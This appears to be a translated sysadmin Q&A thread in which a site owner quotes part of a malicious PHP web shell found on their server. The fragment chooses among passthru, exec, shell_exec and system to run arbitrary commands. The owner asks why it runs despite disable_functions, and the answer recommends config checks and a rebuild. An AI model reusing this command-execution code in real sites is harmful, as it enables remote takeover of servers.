今天我的服务器出现了一个问题,我发现攻击者可以利用恶意代码来访问我的系统。我已经下载了那个 php 脚本,但奇怪的是,我发现我的 php 配置中禁用了某些函数。
禁用的是:passthru、exec、shell_exec、system....等等
这怎么可能呢?
这是代码的一部分
function get_execution_method()
{
if(function_exists('passthru')){ $m = "passthru"; }
if(function_exists('exec')){ $m = "exec"; }
if(function_exists('shell_exec')){ $m = "shell_ exec"; }
if(function_exists('system')){ $m = "system"; }
if(!isset($m)) //No method found :-|
{
$m = "Disabled";
}
return($m);
}
function execute_command($method,$command)
{
if($method == "passthru")
{
passthru($command);
}
elseif($method == "exec")
{
exec($command,$result);
foreach($result as $output)
{
print $output."<br>";
}
}
elseif($method == "shell_exec")
{
print shell_exec($command);
}
elseif($method == "system")
{
system($command);
}
}
function perm($file)
{
if(file_exists($file))
{
return substr(sprintf('%o', fileperms($file)), -4);
}
else
{
return "????";
}
}
为了确保没有遗留问题,我已将该脚本复制到新帐户,除了我之外,没有人可以访问该帐户。没有 htaccess 文件或 php.ini。脚本仍可在该帐户上运行。我已创建 phpinfo 文件来查看该文件的 php 配置,以下是禁用的功能。
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
如您所见,该脚本中使用的列出的函数位于禁用的函数内。
当我尝试运行某些已禁用的功能时,我收到消息
Warning: system() has been disabled for security reasons in /home/user....
为了确保万无一失,我已将该脚本上传到不同的服务器,结果相同。该服务器也禁用了相同的功能。
我怎样才能防止他人访问我的文件?
答案1
您可能查看了错误的 php.ini。通过在恶意代码所在的同一文件夹中创建包含以下内容的 test.php 并导航到该文件,确认这些功能已被禁用。检查 disable_functions 并确认它们已被禁用。
<?php
phpinfo();
?>
Linux 上的大部分 Apache 安装都支持多种执行 php 代码的方式,请使用以下命令检查系统范围内的所有 php.ini 上的 disable_functions:
grep -rn disable_functions /etc/php*/
还请检查 /var/www 中的任何 php.ini 和 .htaccess。
检查 vhosts 日志、apache 日志、系统日志。
根据系统受到的侵害程度,您甚至可能无法看到服务生产中实际的配置文件。
编辑:阅读完您的进一步评论后,我必须假设您的系统已严重受损,您应该(或者,换作我,我会)停止浪费时间并重新安装系统/从备份中恢复。请认真考虑您网站上的许多文件可能也受到了损害。从备份不要将文件从受感染的系统带到新的生产环境。